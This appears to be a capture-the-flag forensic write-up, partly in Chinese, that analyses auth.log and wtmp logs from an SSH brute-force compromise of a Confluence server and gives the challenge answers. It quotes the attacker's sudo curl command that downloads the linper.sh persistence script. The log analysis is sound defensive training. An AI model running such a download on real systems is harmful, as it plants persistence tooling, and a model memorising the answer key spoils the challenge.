In this very easy Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs. We’ll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.
Identify the timestampwhen the attacker loggedin manually to the serverto carry out their objectives. The logintime will be different than the authentication time, and can be foundin the wtmp artifact. :2024-03-0606:32:45
Task 4
查看和 wtmp 文件中登录时间一样的的,差了一秒钟但这是正常现象,因为验证 /etc/shadow 文件中的哈希和启动交互式会话都需要花费时间,所以答案就是 06:32:44 的信息,创建了 New Session 37
1 2
SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2? :37
The attacker added a newuseras part of their persistence strategy on the serverand gave this newuser account higher privileges. What is the nameof this account? :cyberjunkie
The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo? :/usr/bin/curlhttps://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Analysis
auth.log
Linux 中 /var/log 目录下的文件,记录所有与用户认证相关的日志,比如说 ssh
像 ssh 登录成功,查找相关日志可以过滤 Accepted password
1
Mar 6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2
ssh 登录失败,相关日志可以过滤 Failed password
1
Mar 6 06:31:33 ip-172-31-35-28 sshd[2334]: Failed password for invalid user admin from 65.2.161.68 port 46454 ssh2
爆破日志可以看是否有一段连续的登录请求
登录会话开始
1
Mar 6 06:18:01 ip-172-31-35-28 CRON[1119]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
登录会话结束
1
Mar 6 06:18:01 ip-172-31-35-28 CRON[1118]: pam_unix(cron:session): session closed for user confluence